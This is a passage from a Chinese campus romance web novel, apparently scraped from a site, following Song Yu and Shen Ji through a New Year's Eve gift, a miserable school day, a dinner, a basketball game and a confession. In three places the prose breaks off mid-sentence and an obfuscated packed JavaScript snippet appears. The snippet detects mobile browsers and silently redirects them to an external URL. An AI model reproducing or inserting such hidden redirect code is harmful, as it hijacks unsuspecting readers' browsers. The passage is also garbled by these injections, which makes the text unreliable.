沈霁倚在门边等了一会儿，房间里依旧静悄悄的，没有人给予他回应。他的唇边牵起个自嘲的笑，转过身下了楼梯。 除夕夜，家家户户都是灯火通明。独独他的家，只有一室凄清。 车子开出别墅以后，沈霁原本是该按照计划去找丁思越的，可路过广场的时候，他又鬼迷心窍般找了地方停下。 广场的人很多，他下了车，走进拥挤的人潮里。倚在石廊边看烟花的时候，沈霁的神思也跟着放空。耳边明明很吵，有烟火的闷鸣，有鼎沸的人声。 可他还是觉得很安静。安静得过分。 ... 带小孩是个苦差。带小孩来吵闹的地方玩是苦差中的苦差。人流太多，小孩子的玩性又大，去哪玩都容易意见不合。所以宋妤和表姐一人牵一个，也好带些。 洋洋牵着宋妤走，一会儿吵着要买泡泡机，一会儿吵着要玩仙女棒。宋妤觉得头大，她身上摸了个遍，发现自己没带手机，只在羽绒服兜里摸出了十块钱。 “姐姐只带了十块钱，只够买一样东西。”宋妤蹲下身认真地对洋洋道，“你仔细考虑，要泡泡机还是要仙女棒。” 洋洋嘟着嘴想了半天，难以抉择。 宋妤牵过他的手继续往前走：“暂时考虑不出来也关系啦，一边逛一边想。” 烟火开始放了，宋妤倒是想找个好位置安静地看一会儿，可是洋洋待不住，拉着她的手到处乱走。 走到小湖边的时候，洋洋拉着宋妤的手指着湖边那个小坡：“姐姐，那个哥哥在那边玩仙女棒！” 顺着洋洋手指的方向，宋妤看到了浓黑的夜色中的一抹绽放的焰火。 宋妤几乎要怀疑是不是自己看错了。那个坐在小坡上的背影，分明是沈霁。 从这个位置看不到沈霁的表情，宋妤只能看到他点燃仙女棒的动作，安静地看着那束焰火熄灭，再继续点燃下一根。他穿了件不算厚实的黑色外套，一个人坐在那里，背影显得有些萧索。 好像没怎么见过沈霁穿太厚的衣服，是因为他比较不怕冷吗？还是因为男生的体温通常比较会高？室友温青青就说过，她男友的手总是比她热。 沈霁的手...... 宋妤的目光不自觉地落在沈霁那只拿着打火机的手上。天幕黑沉，离得也不算太近，宋妤只能看清那双手的轮廓。不过她对沈霁的手好像真的不算陌生，修长，白皙，骨节分明，很漂亮的一双手。 意识到自己的思想正在逐渐跑偏以后，宋妤扭过头轻咳一声，捞回自己乱飘的心绪。 宋妤蹲下来，一手搭上洋洋的肩膀：“洋洋，你能不能帮姐姐一个忙？” ... 沈霁放完了所有的仙女棒，才惊觉自己在河边发呆了很久。兜里的手机不住震动，是丁思越他们打来催促他的电话。 维持那个姿势太久，沈霁腿有点麻。他刚站起身，有个小小的身影跑了过来，停在他面前。沈霁垂下眼看，是个虎头虎脑的小男孩。 “哥哥，我姐...”小男孩说到一半，似乎是意识到自己记错了措辞，改口接着说下去，“哥哥，有个姐姐让我把这个给你。她叫我跟你说一句，新年快乐。” 小男孩递过来一串冰糖草莓和一个暖宝宝，沈霁没动，小男孩直接塞进他手里便跑远了。 “诶...”沈霁刚想去追，可小男孩已经走入人潮之中消失不见了。 沈霁垂眸看向手里的两样东西，裹着糖霜的草莓颗颗饱满，暖宝宝的包装袋上印着蜡笔小新。他的目光飘远，在人潮中寻觅。他在原地站了良久，才将那个印着卡通图案的暖贴揣进怀里。 走出那孤寂的一隅，他也随着人潮走进了被灯火照亮的市集。 28. 夜风呼啸 开学以后，这个学期的课业安排明显比上学期沉重了不少，实验课时提了不少，还安排了晚课。期初何苑看到这学期的课表时就在宿舍里叫苦不迭。 其实比起当初上高中的时候这样的压力当然不算什么，只不过在闲散的状态下散漫了惯了，一开始就会不太适应。 周三这天，宋妤有点事要回家那边。好在早上没课，不过中午就要赶回来上下午的实验，实验结束又是马不停蹄地赶晚课。 办完事后宋妤连午饭也没吃，打算早点过去学校。在走去公交站的路上，却遇到一个她不太想遇上的人。 一个穿着杏色连衣裙的女人抱着抓着风车的小男孩朝宋妤走来，隔着一段距离就喊了几遍她的名字。宋妤原本想当作没看见，这下也只好停下了脚步。 “小妤，今天不是周末，怎么没去学校呀？”女人的唇边噙着一抹温和的笑，一边动作轻柔地拍了拍怀中小男孩的背部，“晓煜，快跟姐姐打个招呼。” 女人怀中的男童睁着一双好奇的眼睛看过来，却没有乖乖听话叫人。 来人是宋妤的继母陆雪华，还有她今年刚满六岁，同父异母的的亲弟弟赵晓煜。 宋妤其实不是很有心情和这两人打交道，但到底是长辈，她还是弯了弯唇角简单地寒暄了两声。 “小妤，你也有段时间没有过来你爸爸这边了，他昨天还跟我念叨你呢。”陆雪华弯起眼睛，笑着点了点赵晓煜的脑袋，“之前建平答应了晓煜要带他去游乐园，但工作忙总是提不出时间，害的晓煜总念着那个在家里闹。我就想着要是你在就好了，还能带着弟弟一起去玩。毕竟是亲姐弟，总不能生分了才对。” 宋妤低眸看向陆雪华怀里的赵晓煜，五六岁的男孩子正在最皮的时候，赵晓煜才没管两人究竟在说些什么，自顾自地在陆雪华怀里挣扎，不断吵闹着要去吃KFC。 老实说不止是赵晓煜，方才陆雪华对着她说的那么长一串话，宋妤一个字也没听进去。说到底，这对母子在面对她和妈妈的时候，永远都要摆出一副高高在上的嘴脸，得意扬扬地去炫耀自己的家庭和睦，生活幸福。 宋妤看着陆雪华那张不断开合的红唇，嘈杂的话音混着孩童哭闹的声音在耳边吵闹，她感到越来越不耐。 “阿姨，我也挺忙的，没什么事就先走了。”宋妤觉得自己再待下去就会丧失最后一分维持礼貌假笑的力气。 扔下这句宋妤就转身走了，她也不打算等公交了，换个地方打车去。 她还没走远，从附近的菜市场又走出来一个头发花白的老太太，接过陆雪华手里的赵晓煜心肝肉似的一个劲地哄。陆雪华凑过去，低声道：“刚刚遇见小妤了，也没来得及让她过来跟您这个奶奶打个招呼，人就先走了。” 苗茉不在意地继续哄自己的金孙：“随她去吧，那丫头从小就那样，不会哭不会笑，像个木头桩子似的。我早懒得管了。” 不知是不是刻意，苗茉的声音很大，即使宋妤没有回过一次头，已经走出了一段距离，依旧清晰地听见了她的话。 早就懒得管了。 这样厌弃的话，真是足够伤人。可再伤人，宋妤也早就习惯了。 除了她的妈妈之外，这些人早就放弃她了。 ... 即使告诉自己没必要在乎那些人的话，宋妤的心情还是不可避免的受到了影响。午饭没什么心情吃，回宿舍睡了个午觉就去实验楼上课了。 人生可真是个谜。好的运气很难叠加，倒霉的事情却很可能接二连三地发生。 下午的实验本就比较耗时，宋妤那个小组的电热套还坏了，大大拖累了实验进度。等到蒸馏结束以后，他们成了最后一个完成的小组。出了实验楼以后刚脱了实验服，拿起手机一看已经18：45，只剩十五分钟晚课就要开始，甚至连回宿舍放个东西的时间都没有，更不要提挤出时间去吃饭了。 晚课上的还是专业大课，上了一节课宋妤就开始饿得胃痛。何苑在课桌底下偷偷刷外卖软件，小声和宋妤讨论晚饭要点什么外卖。 宋妤分神了几分钟去看何苑的手机屏幕，这时候，讲台上随机摇号的屏幕滚动，停下的数字正好是她的学号。 不出意外地，宋妤根本不知道老师正提问什么，自然也没有回答上来。喜提了老师的‘下课留下来谈谈’的问候。 坏心情的叠加，让宋妤后面的课都有些不在状态，好不容易挨到下课，还要留下来先听一顿批斗。 “小妤宝宝对不起，是我害了你呜呜呜。”何苑十分愧疚，双手合十求宋妤原谅。 宋妤摇摇头表示自己并不在意：“小苑你就不用留下来等我了，先去拿你的外卖吧，要是我的到了再叫你顺便帮我一起拿。” 何苑原本也是想留下来等她的，但这大学校园偷外卖十分猖獗，到了的话最好就是不拖延马上去拿。 “放心吧小妤宝宝，你的外卖就包在我身上了。”何苑最终一步三回头地走了。 老师这边也没留宋妤太久，她毕竟不是什么刺头学生，点两句也就放过了。出教室的时候何苑打来电话，问她外卖到了没，宋妤看到还在配送中，就让何苑先回去，自己走过去拿。 承载了叠了一整天的debuff，宋妤拖着疲惫的身躯往外走。大概是老天爷也看不下去她的负重前行了，特地降下压垮宋妤的最后一根稻草。 她的外卖被偷了，那是她为了安抚自己受伤的心灵才咬咬牙买的一份价值32.5元的鳗鱼饭便当。 一番沟通解决无果之后，宋妤只觉得心累。可空荡的尾部饿得痉挛，她只能在学校的便利店买了个面包，坐在人工湖旁边的长椅上，一边对着无边的夜色发呆，一边机械地重复咀嚼的动作。 夜风呼呼地吹着，越刮越厉害，吹在脸上跟抽巴掌似的。宋妤难免产生了点不理智的埋怨心里——连风都在和她作对。眼眶突然就热热的，眼睛一眨，泪珠子就一颗颗地滑下来。 宋妤不知怎么想到了苗茉对她的那句评价，不会哭也不会笑。 其实她还挺爱哭的，就是喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这下宋妤真有点心动了，那卷子留给自己独立完成不知道还要多久，要是能有个厉害的外援，说不定今晚就能早点睡了。 宋妤跟着沈霁从学校西门出去，沈霁走到一台黑色的机车旁，拿了个头盔递给她。沈霁长腿一跨，三两下就戴好了头盔，转头过去看见宋妤还杵在那里发呆。 “怎么了？怕我把你卖了？”沈霁轻笑一声。 宋妤摇摇头，视线仍流连在黑色机车漂亮又流畅的车身线条上，她没坐过这种重型机车，只开过小电驴。 宋妤将头盔扣上，上了机车的后座，她挺直了背，又有些犹豫地朝沈霁的方向靠近：“你应该不会开很快吧？” “嗯，开慢慢的。”沈霁替宋妤合上了头盔镜片，转过身启动了车子。 车子发动的瞬间，因为惯性的作用，宋妤还是没抗拒过本能紧紧抱住了沈霁的腰。宋妤本来想松开，可耳畔喧嚣的风声让她没有安全感，她想溺水之人紧攀浮木那样抱紧了沈霁的腰。 机车像条灵活的黑色游鱼，载着他们在这片霓虹交织的灯海之中穿行。风声呼啸，宋妤看着不断倒退的街景，胸腔中闷钝的情绪也在不知不觉中消散而去。 现在的夜风好像没有那么讨厌，宋妤闭着眼睛想。 29. 阻止越界 沈霁带着宋妤去了家装修得很温馨的家庭式餐厅。这个点人不多，他们选在二楼，就他们一桌。 宋妤点了两个菜以后就将菜单给了沈霁，沈霁接过去又点了几样。等上菜的时候宋妤从书包里翻出卷子，沈霁跟服务员说了几句，服务员很快端上来一盅砂锅粥。 “你先垫两口再看作业，有的是时间。”沈霁拿过宋妤的小碗，帮她盛了一碗。 宋妤也确实饿得难受，勺子舀了一口热粥喝下肚，米香软糯，瞬间舒服了不少。 沈霁没动筷子，单手撑着下巴看她。 宋妤被他看得有点不自然，放下勺子抬眼看他：“你怎么不吃？” “你先吃，吃完这碗再说。”沈霁有他的坚持，宋妤只好在他的注视下将那碗粥一口一口喝完了。 看她将那碗粥喝干净了，沈霁坐直了身体，正打算开口。宋妤也在等着他说话，可沈霁突然就从位置上站了起来。 “怎么了？”宋妤有点懵。 沈霁绕过来，坐在宋妤旁边的位置上，他解释道：“我看了本心理学的书，书上说面对面坐着无形中会给人一种对抗感，产生防备心理，要是并排坐的话就会产生更多认同感，更信任一些。” 宋妤依旧疑惑：“啊？” 沈霁低头凑近宋妤，认真地看着她的眼睛：“宋妤，我问你个问题。” 猝不及防拉近的距离让宋妤慌乱一顺：“你，你问呗。” 为什么躲着我？ 这个在舌尖盘旋了数遍的问题，在目光触及宋妤还有些发红的眼角的那一刻，又被沈霁咽了回去。 “就是想问，你现在心情好些了吗？” 宋妤放下勺子，抬手摸了摸仍有些发肿的眼尾：“嗯，已经好多了。其实也没发生什么，就是突然小题大作了一下，莫名其妙地就流了眼泪。” “明知道哭也没什么用，就是突然矫情了一下。”宋妤慢吞吞地用筷子戳了戳碗里的米饭。 沈霁扬了扬眉：“谁说哭没有用的？哭出来心情能变好的话，想哭就哭出来啊。” “那你呢？”宋妤盯着他的眼睛，“觉得难过，心情不好的时候，会直接哭出来宣泄吗？” 沈霁没想到她会这么问，一时间怔住没有说话。 “诶，讲大道理的时候确实是水灵灵的啦。”宋妤的身子往后一靠，“其实心里还是觉得哭鼻子很矫情吧。” 宋妤只是故意顶嘴，其实说这话也没有别的意思。谁承想沈霁思索了片刻后认真地看向她：“你说得对，下次心情不好的时候，我会试着直接宣泄一下。说起来，你的心情好转我应该算有一点点功劳吧。” 宋妤点头：“嗯，当然。谢谢你。” “那我心情不好的时候，也可以请你帮忙吗？”沈霁又问。 宋妤歪头思索，这话推敲起来感觉有那么一点奇怪。 “我当然愿意的，但是我可能不知道该怎么帮上忙。”宋妤觉得自己的嘴笨，应该也说不出什么能让人豁然开朗的大道理。 沈霁坐回了自己的位置，朝宋妤扬扬手：“要是有那个时候，你肯定是唯一能够帮上忙的。” 宋妤有点陷入较真的思绪，在脑海里思考着真遇上那情况的具体方案。 在宋妤没注意到的地方，沈霁摸出手机偷偷瞥了一眼在备忘录里记下的丁思越教给他的各种心得体会。 其中一行便是：什么样的承诺都无所谓，找各种时机寻求约定和承诺。 沈霁浅浅呼出一口气，又抬头悄悄看了正咬着筷子思索的宋妤一眼，默默地把手机收进了口袋里。 虽然没问出那个问题，得到了一个承诺的话，应该也能算是不错的进展吧。 写起作业就容易忘记时间，要不是有沈霁的提醒，宋妤险些要忘记宿舍的门禁。 沈霁在校外有房子，他自己倒是没什么问题，但见宋妤有些着急，回去的路上他骑车的速度也往上提了些。 环住腰间的手臂收紧，沈霁察觉到靠在自己背后的脑袋又往前贴了贴。 “这个速度会不舒服吗？”沈霁问，“要不我放慢点。” 闷钝的声音从摩托车头盔里传出，似乎是带上了几分困顿。 “不用，保持这个速度吧。”这种逼近警戒线的感觉让宋妤有点慌，究竟是为了什么却不太答得上来。 是因为快要紧闭的宿舍大门，是因为耳边更加喧嚣的风声？ 还是因为...那个再次被打破的，阻止越界计划。 ... 踩着最后的安全线回到了宿舍，宋妤站在门口，握着宿舍的门把手深吸了口气。 还好最后是赶上了。 房间里依旧灯火通明，大家都是夜猫子，这个时间点还没人熄灯睡觉。 宋妤刚打开门，屋内的三双眼睛就齐齐朝她看来。如有实质的目光落在身上，宋妤下意识退了半步，捏紧了自己的书包带子。 “怎么了，大家？” 何苑作为宿舍代表发言，她轻咳了一声后开口：“宋妤同学，老实交代，去哪里野了？” 宋妤挪动自己的书桌前，一只手拉开了椅背。她不想撒谎，又下意识隐瞒了不愿言说的部分：“写线代卷子去了，一写起来就忘了时间。” 几人一听说宋妤的线代卷子写完了，一窝蜂地围上来准备抄作业，全然忘记了方才正在进行中的盘问。 几个脑袋都凑在宋妤的书桌前，笔杆子晃得飞速，笔走龙蛇地写下一个又一个式列。 “小妤，最后的一道大题你也写出来了呀？”何苑把卷子翻了面，“网上搜得到吗？这步骤写得可真好。” 宋妤胡乱点头应了两声，拿起睡衣躲进了浴室里。洗漱完毕准备上床睡觉的时候，宋妤瞥了眼被随意扔在床上的手机，才想起来沈霁说过到了宿舍记得给他发消息。 果不其然，带她点开手机以后微信对话框就先一步弹出了沈霁的消息。 [。：到宿舍了吗？] 这条消息发来已经是半小时之前，宋妤赶紧拿起手机回复了过去， [小鲤鱼历险记：到了。抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188208|134654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歉抱歉，回宿舍和舍友说上话，一下子就忘了看手机。] 对面回复得很快： [。：就知道如果我不主动追着，你肯定把我忘到九霄云外去了。] 这条信息宋妤只来得及看了一半，就被对面撤回。屏幕上很快弹出新的消息。 [。：快零点了，早点睡。] 宋妤没再多想那句被撤回的话，手指在屏幕上敲下了‘晚安’两个字，她刚点下那个发送键，就听到温青青在和另一个舍友刘玥大声地抱怨。 “你以为我为什么这么生气呢，我男朋友竟然给那个学妹发晚安！” 刘玥好奇地问：“发晚安怎么了？” 温青青摇着刘玥的肩膀：“谁不知道‘晚安’我爱你爱你啊！没有特殊关系的男女都给我禁止或许发晚安这么暧昧的话啊啊啊！” 宋妤的呼吸跟着停滞了一下，手指比大脑更快一步做出反应，撤回了刚发出去的那两个字，重新打了三个字发出去。 干完这一切，她又后知后觉地发现自己的行为有些小题大做和不知所谓。宋妤把头埋进枕头里，手指在被角上抓了两下。 啊啊啊好烦，她究竟在干什么啊！ ... 男寝203。 沈霁等了半天才等到宋妤的消息，没忍住发了条消息抱怨，结果发出去没一秒，又默默地撤回了。 毕竟他还什么名分都没有，有什么立场强求宋妤不要忽视他。说了多余的话指不定更讨嫌。 这种一边警告着自己不要越线，一边又忍不住焦灼地想要更多的感觉，在沈霁心中反复拉扯。 杜沧路过的时候，看见沈霁电脑开着也没在玩，光顾着对着手机唉声叹气。他有些好奇地过去撞了一下沈霁的肩膀：“怎么了，沈少爷？不是说今天晚上和宋妤妹子出去吃饭了，还算有进展吗？叹什么气呀！” “没什么，”沈霁拿开他的手，“我思考人生呢，别烦我。” 杜沧讨了个没趣儿，耸耸肩就打算走。结果刚转身，衣角又被沈霁拉住。 “诶，杜沧，我问你个问题。撤回了晚安，又重新发了个早点睡是什么意思？为什么要撤回啊？”沈霁一脸认真地求教。 杜沧正打算凑过去做阅读理解，在阳台上接电话的薛子奇走了进来。 “丁思越刚打电话过来，说今晚在女朋友那儿住了，不回寝。有” 杜沧和薛子奇对视一眼，两人齐齐看向沈霁，眼神中流露出一点微妙的同情。 这种时候就觉得沈霁有点惨，好兄弟早早地已经上位上垒抱得美人归了，他还搁在跟初中小男生似的研究人家姑娘撤回的那句话是什么意思。 被用异样的眼神盯着看了许久，沈霁炸毛了：“你们俩是什么意思给我立刻说清楚！” “没什么没什么！”薛子奇搭上他的肩，“就是觉得如果我是女生肯定会选择跟你在一起的。”杜沧跟着附和，还作势要去摸他结实的胸肌。 沈霁一脸恶寒地拍开杜沧的爪子：“我才看不上你们呢！” 30. 暧昧禁止 这天下课，宋妤和温青青被老师喊去办公室帮忙录期中成绩。结束以后时间还早，温青青就火急火燎地拉着宋妤去了体育馆。 “我男朋友他们今天校篮球赛第一场，这个时间赶过去不知道还能不能看上几眼。” 可惜两人到的时候温青青男友的那场已经结束，挂上了新的学院牌子。宋妤本以为没赶上就该闪人了，结果温青青反而愈发兴致勃勃地拉着她找了个位置坐下。 “不走吗？”宋妤转过头问，“不是已经错过了。” 温青青晃了晃手指：“错过了他的算什么，赶上了更有看头的才是最重要的。” 宋妤顺着温青青指的方向，看到了新换上的学院牌：计科VS土木。看到那两个字的瞬间，宋妤的目光下意识滑入了那群穿着黑色球衣的男生中搜寻。 找到那个熟悉的身影不需耗费多少力气，他的身姿挺拔，像棵玉立的青松；他辉芒常伴，即使在满是碎星的黑夜，也会是最闪耀的那颗。 “计科的帅哥质量也太高了！今天的比赛不止有丁思越，还有沈霁呢！”温青青晃了晃宋妤的手臂。她没得到回话，原以为是宋妤又在走神。可待她偏过头去，却又分明看见宋妤的目光直直地落在那个专属背号11的角落。 温青青捂着嘴笑：“沈霁超帅的对吧！我也爱看他打球，看看他那漂亮的锁骨和完美的肱二头肌，我都要迷醉了！” 宋妤眯起眼睛往那个方向看，老实说从这个距离根本看不到锁骨啊，手臂肌肉的轮廓线条倒是...... 意识到自己的思想也开始朝着不可描述的方向发展，宋妤悻悻地收回了视线。 哨声吹响，篮球砸在地面发出沉闷的声音。宋妤过往很少参与旁观打球的活动，可在这场比赛中，她却无法抑制自己的视线不断追随着那个人的一举一动。 他换手上篮的姿势很漂亮，轻巧又矫健的身姿让宋妤联想到了腾空而起的飞鸟。篮球很笨重，他却能用那漂亮的手指灵巧地将它掌握在手中。 进球的时候他也会跟着队友一起喝彩，肆意奔跑的身姿自由。满溢的生机让人向往不已，他的少年意气像一阵流动的风。 中场休息的时候身旁的呐喊声依旧没有止休，温青青被气氛带动，也跟着喊了一两句加油。 她转过头向四周打量，又悄悄凑近宋妤耳边：“应该有不少人是冲着沈霁来的？” 宋妤看向她，用目光询问何以见得。 “诶，沈霁丁思越谁人不知的计科两大男神，但是丁思越已经有个黏糊的不行的女朋友，所以只能把目光放在还单着的沈霁身上啊。”温青青继续道，“不过沈霁的那几任似乎都谈得不太久。说起来，比起丁思越，沈霁没表情的时候看上去好冷，就是那种会随时要辜负人的薄情长相呢。” 温青青又在周围扫视了一圈，悄声道：“看到不少漂亮妹子准备了饮料，沈霁真是艳福不浅。不过她们估计没什么希望了，沈霁好像已经有新情况了。” “什么？”宋妤一副如梦初醒的样子。 “我这可是第一手消息。”温青青压低声音，“我男朋友跟我说的，前两天，对，就是你很晚回来的那天，他在学校西门看见沈霁的机车后座载了个妹子，那姑娘还紧紧地抱着沈霁的腰。那好像是沈霁第一次用他那台宝贝机车去载人。我觉得80%的概率已经谈上了。” 宋妤有些头大，结结巴巴地回了句：“那，那倒也不一定哈。” 场上，沈霁接过杜沧扔过来的水，单手拧开以后仰头喝下，放下水瓶后，他又抓起胸前的布料微微往上提，擦了擦脖颈流淌的汗。衣摆被向上提起，无可避免地露出一截劲瘦又漂亮的腰线。 温青青有些遗憾地放下了正准备抓拍的手机：“要是再往上提提就好了，就能看到腹肌了。” 宋妤转过头去看别去，不想让那截漂亮的腰总在自己眼前晃。 丁思越走过来叫沈霁过去集合，沈霁从长椅上起身，抬眸的瞬间恰好往宋妤的方向看来。而宋妤也刚从长久的刻意回避之中将自己的视线重新挪回场上，不期然地撞入沈霁那双墨色的眼。 沉潭的平静被打破，顷刻间便泛起了层层涟漪。 几乎是下意识的，沈霁抬起手臂朝宋妤的方向挥了挥手。他小跑两步，想要从休息区的长椅那边跑过来对面看台。丁思越从后面过来，一把勒住他脖子把人拖了回去。 “还没比完呢，休想逃走！” 这一举动自然引起了看台上不少观众的注意。宋妤听到四面八方传来了窃窃私语。 “刚刚沈霁朝这边招手了，还想走过来！” “是在看谁啊，女朋友吗？” “真的吗真的吗，呜呜呜我心仪的帅哥又脱单了我却依旧还单着！” “是那个方向吧，我要看看是何方神圣！” 感受到越来越多的目光落在这个角落，宋妤捏了捏放在腿上的书包，想找个借口先离开算了。可在宋妤开口之前，温青青先一步看出了她的想法，拉着她的胳膊撒娇要宋妤留下来陪她看完这一场。 哨声再度吹响，下半场开始。沈霁的表现明显比上半场更加活跃，积极地组织进攻，漂亮地拿下篮板。比赛的节奏在沈霁的发挥下变得更加紧凑，看台上的观众目不转睛，生怕错过任何精彩的一球。 比赛的帷幕在沈霁的最后一记压哨三分球中落下，潮水般的喝彩和掌声将立于人群之中的他包围，而沈霁在平复过度运动的喘息之后，第一时间看向了宋妤那边。 接受到那道视线的宋妤真的无法说服自己移开眼。 那眼神亮晶晶的，带着期待和得意，像只等待表扬的小狗。 在沈霁就要朝她跑过来之前，宋妤先一步扬了扬手里的手机，示意他看消息。 沈霁走回休息区，从自己的外套口袋里捞出了手机。 [小鲤鱼历险记：比赛很精彩。你先收拾一下，我在体育馆后门等你。] 沈霁的唇角扬起，飞快地回了消息过去。 [。：好，我很快。一定不许先走，要等我知道吗。] 得到对面确定的回应，沈霁才跟着丁思越进了休息室。没时间冲澡，沈霁只是简单地擦了一遍就换上了干净的衣服。出门之前还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201025|134654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特意向杜沧确认了一遍，确保自己身上没有残余的汗味。 沈霁走到体育馆后门，宋妤就站在门口的一颗樟树下等他。沈霁弯起唇，大步朝宋妤走过去。 “今天是特地来看我打球的吗？”沈霁这么问了，心里却也知道答案。他之前试探过宋妤今天这个时间有空没有，宋妤说大概要去教导处帮老师做事，他也就没有继续那个邀请。 宋妤坦诚道：“教导处那边的事提前结束了，就被舍友拉过来看比赛了，她男朋友也在比赛。” “哦，”沈霁的笑变淡了一些，移开了放在她身上的目光，“不是来看我的。” “那你把我叫过来是要对我说什么？”气氛沉寂片刻，沈霁到底没忍住先开口问。 面对这个问题，宋妤有些吞吞吐吐：“那个，我......” 总不能说是看见沈霁当着那么多人的面要来找她，她才发消息把人约来了这片僻静处。 宋妤仍在犹豫，沈霁已经看出了她的想法。 沈霁原本泛着光的眸跟着黯淡下来，再开口时他的语气变轻，还带了点嘲意：“哦，是因为刚才人太多了，你不想让我在那么多人的注视下过去找你。所以才要把我藏到这里来。” “不是！”宋妤忙否认，又接着解释道，“因为我的舍友也来了，你可能不知道，那个情况下她很大概率会误会，而且之前她男朋友看见了你骑车载我......” “误会什么？” 宋妤的话顿住，慢慢地抬眸看向沈霁的眼睛。沈霁也在看着她，见她不答，沈霁朝她靠近了半步，又重复了一遍：“你说的误会，是什么？” 沈霁步步紧逼，宋妤也没有后退，繁杂的思绪在脑海中乱成一堆，她闭了闭眼，索性直接说出那个在唇边几度滚动的答案：“误会，我们的关系。” 沉寂了良久，沈霁才缓缓开口：“果然，一直躲着我，是因为察觉到了啊。一直在拉开我好不容易向你靠近的距离，是因为察觉到了啊。” 宋妤刻意回避的那两个字，被此刻的沈霁直白而又清晰地说出：“你察觉到了，我喜欢你，对吧。” 宋妤知道两个人之间总要迎来坦诚说开的时候，她也曾在脑海中预设过许多，却不曾想过就在这一刻。 “沈霁，其实我......” “先不要说。”沈霁飞快地打断了她未出口的话，“察觉到了，却躲着我，是因为你没有办法回应我的心情吧。可是我还没有说出来，还没有提出想和你恋爱的想法，没有提出想要你回应的要求。喜欢的心情，暂时是我一个人的事，你不许说拒绝的话，我不会接受。” “沈霁，可是如果我无法回应你，又继续和你保持这个状态，对你不公平。”宋妤的声音有些低，她有些不敢去看沈霁的眼睛。 沈霁握住了宋妤的手腕：“公不公平你说了不算。不能前进的话，我也乐意接受保持这样的状态。” 这样的话实在太不像沈霁，可偏偏宋妤又是亲耳听到他说出这话。宋妤抬眼去看沈霁的眼睛，那是她第一次在沈霁眼中看到那样直白流露，无法克制的情意。 31. 过程快乐 “然后呢，宋妤妹子说了啥？”薛子奇探出脑袋，朝沈霁那边看去。 沈霁垂着眼，身旁的人看不清他脸上的表情，但还是能明晃晃地感知到，他周身有些低潮的气场。 “没答应呗，好像是直接跑了。”杜沧凑过来补了一句，他想了想，单手搭上沈霁的肩安抚道，“大概是没遇到过像你这么痴情的，所以一时反应不过来的。” 不介意没法得到回应，一直保持现在的关系也没有问题。 这话直白的，差点就要直接告诉人家姑娘，你现在不想谈也没有关系，只要你回头我这个备胎永远在。 要不是那些话是自己偷听墙角时亲耳听到的，杜沧打死也不会相信说出那话的人竟然是沈霁。 那可是沈霁啊，那可是那个从来都风轻云淡，什么都没放在心上的沈霁。他拥有的资本足够让他轻易地获得想要的一切，所有一直以来都能够表现出无欲无求，自由自在的那种淡然。 同窗快要两年，杜沧没见过沈霁执着地想要什么，也不觉得沈霁会有那样的时候。 老实说，他一开始真以为沈霁对宋妤就是富家少爷一时图新鲜。那兴头过去也就过去了，不太可能多上心。 可越往后发展，杜沧最初的念头越发动摇了。沈霁捧着个手机眼巴巴地等着人姑娘回消息的样子，每次见着人家八百米开外都要跟过去，千方百计地制造各种巧合和偶遇。 那不值钱的模样，哪还有当初半分的贵公子模样，分明跟个情窦初开的少年没有两样。 丁思越刚煲完电话粥，但早已一心二用地把来龙去脉听了个清楚。和杜沧薛子奇两人的态度不同，丁思越倒是对沈霁投来了赞许的目光：“这次发挥得不错嘛，之前请教我的那几次心得都没有白学，看来很快就能出师了。” 沈霁蔫蔫地看了他一眼：“那是什么意思？” “兄弟，被拒绝不可怕，可怕的是没戏唱。”丁思越煞有其事地说道，“你说现在这种状态怎么能不叫有突破呢？她意识到了，她想避嫌了，就说明你开始有机会从单纯的朋友位置开始挪挪了。” “我当初追我老婆的时候，她还说我比她小三岁，只拿我当弟弟看，不可能发展恋爱关系呢！我当时就告诉她，没关系，你可以继续把我当弟弟，我会等到你不止把我当弟弟的那天。长征之路不是一日促成的，抱得老婆归的过程注定是任重道远的。哥以过来人的身份跟你说，要坚持不放弃，会来事追的紧，不能马上上位，就争取做机会最大的！” 丁思越这难得的一长串发言唬得杜沧和薛子奇两个单身狗一愣一愣的，良久才慢吞吞地吐出一句：“还是越哥最骚。吾等甘拜下风。” 沈霁认真地听了一会儿，虽然不多，但好歹也算受了点鼓舞。 他讲不出像丁思越那样丰富的心路历程，他只是遵从自己的心，不想放弃，不愿意放弃。 丁思越有一点倒是说到了他的心坎上。宋妤现在确实不愿意回应他的心情，但宋妤的身边也没有别人。现在不想谈也没有关系，他要做的，就是等。 等有一天宋妤的想法改变了，第一个看到的就是他。 ... 周六的早晨，何苑这个周末回家了，其他两个有对象的舍友一早就出门约会去了。宿舍里就只剩个没什么娱乐活动的宋妤。 前个晚上脑子乱成一团没有睡好，等早上睁开眼的时候，宋妤一看时间才发现自己睡到了十点。 没有早八的时候宋妤的作息也不算太健康，吃不吃早餐取决于起床几点，睡梦正酣的时候当然不觉得饿，但只要醒了肚子就会发出信号催促宋妤去觅食。 宋妤揉着眼睛从床铺上下来，宿舍的门忽然从外面打开。何苑站在门口，看见宋妤头发乱翘，睡眼朦胧地站在那里，就知道她是睡到现在才起。 